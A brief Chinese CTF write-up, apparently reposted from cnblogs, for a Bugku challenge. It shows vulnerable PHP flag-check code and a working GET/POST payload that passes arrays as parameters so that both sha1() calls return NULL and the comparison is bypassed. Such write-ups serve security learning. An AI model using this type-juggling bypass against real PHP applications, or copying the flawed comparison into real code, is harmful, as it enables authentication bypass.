天天看點

bugku | 各種繞過

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>       

一個走心的payload:

GET:   id=%6d%61%72%67%69%6e&uname[]=1
POST:  passwd[]=2      

 一個草率的解析:

  • 一開始是想到:sha1()之後的值,是‘0e’開頭的會變成科學記數法,然後結果都是為0,但是沒想到後面還有一個‘&’
  • 利用數組的話,會報 “ Warning: sha1() expects parameter 1 to be string, array given in /usercode/file.php on line 6  ", 然後得到 ” sha1(數組)=NULL “,然後 “true&字元串=1”就成功繞過if判斷了

  

bugku | 各種繞過

轉載于:https://www.cnblogs.com/chrysanthemum/p/11515694.html

php